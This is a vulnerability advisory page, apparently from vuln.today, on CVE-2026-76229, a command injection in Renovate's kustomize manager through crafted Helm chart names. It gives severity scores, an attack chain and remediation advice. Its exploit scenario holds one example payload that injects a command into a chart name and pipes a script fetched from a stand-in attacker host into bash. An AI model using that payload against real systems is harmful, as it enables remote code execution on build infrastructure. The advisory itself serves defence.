Skip to main content

Renovate CVE-2026-76229

| EUVDEUVD-2026-62470 HIGH
Command Injection (CWE-77)
2026-08-19 VulnCheck GHSA-5gfg-jpw3-fppq
8.4
CVSS 4.0 · Vendor: VulnCheck
Share

Severity by source

Vendor (VulnCheck) PRIMARY
8.4 HIGH
CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
9.1 CRITICAL

Payload delivered via network (git push and remote Helm repo); PR:H for required repository write access; S:C because arbitrary commands execute on the distinct Renovate host machine.

3.1 AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Red Hat
6.7 MEDIUM
qualitative

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Local
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
X

Lifecycle Timeline

3
Source Code Evidence Fetched
Aug 19, 2026 - 14:46 vuln.today
Analysis Generated
Aug 19, 2026 - 14:46 vuln.today
CVE Published
Aug 19, 2026 - 14:02 cve.org
HIGH 8.4

DescriptionCVE.org

Renovate versions from 39.218.0 before 40.33.0 contain an arbitrary command injection vulnerability in the kustomize manager where user-provided chart names are appended to helm pull commands without proper sanitization. Attackers with repository write access can craft malicious kustomization.yaml files with specially crafted chart names to execute arbitrary commands on the Renovate host machine.

AnalysisAI

Command injection in Renovate's kustomize manager (versions 39.218.0 through 40.33.0) allows repository contributors with write access to execute arbitrary shell commands on the Renovate host machine by embedding crafted chart names in kustomization.yaml files that bypass shell escaping in helm pull invocations. A detailed proof-of-concept demonstrating process termination via kill 1 against a Docker-hosted Renovate runner was published with GHSA-xv56-3wq5-9997, confirming exploitability - though no confirmed active exploitation (CISA KEV) has been observed. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Gain repository write access
Delivery
Push crafted kustomization.yaml with shell-injected chart name
Exploit
Host fake Helm repo returning malicious chart name in index.yaml
Execution
Wait for Renovate scheduled or triggered scan
Persist
Unsanitized depName concatenated into helm pull shell command
Impact
Arbitrary commands execute on Renovate host with runner privileges

Vulnerability AssessmentAI

Exploitation Three specific conditions must be simultaneously satisfied: first, the attacker must have git write access to at least one repository that the target Renovate instance is configured to scan - read-only access is insufficient; second, the Renovate configuration for that repository must include `kustomizeInflateHelmCharts` in the `postUpdateOptions` array of `renovate.json5` - this is not enabled by default and repositories without it are not exposed to this code path; third, the attacker must be able to serve a Helm repository (accessible over HTTPS) whose `index.yaml` returns an entry whose chart name contains the injected payload, matching the chart referenced in the crafted `kustomization.yaml`. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 4.0 score of 8.4 with vector AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H reflects high impact bounded by meaningful prerequisites. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker with write access to a repository scanned by Renovate pushes a `kustomization.yaml` containing a chart name with embedded shell metacharacters (e.g., `example || curl attacker.com/shell.sh | bash`) and updates `renovate.json5` to enable `kustomizeInflateHelmCharts`, then hosts a fake Helm repository whose `index.yaml` returns the same malicious chart name. When Renovate next scans the repository - on schedule or triggered - it passes the unsanitized chart name to `helm pull --untar`, causing the injected commands to execute with Renovate's runtime privileges on the host machine. …
Remediation Upgrade Renovate to version 40.33.0 or later, which applies proper shell quoting via `shlex.quote()` to the `depName` argument in `helmRepositoryArgs`, eliminating the injection vector. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours, confirm whether your organization runs Renovate versions 39.218.0-40.33.0 and verify whether the kustomizeInflateHelmCharts postUpdateOption is active in any Renovate configuration. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

Vendor StatusVendor

Share

CVE-2026-76229 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy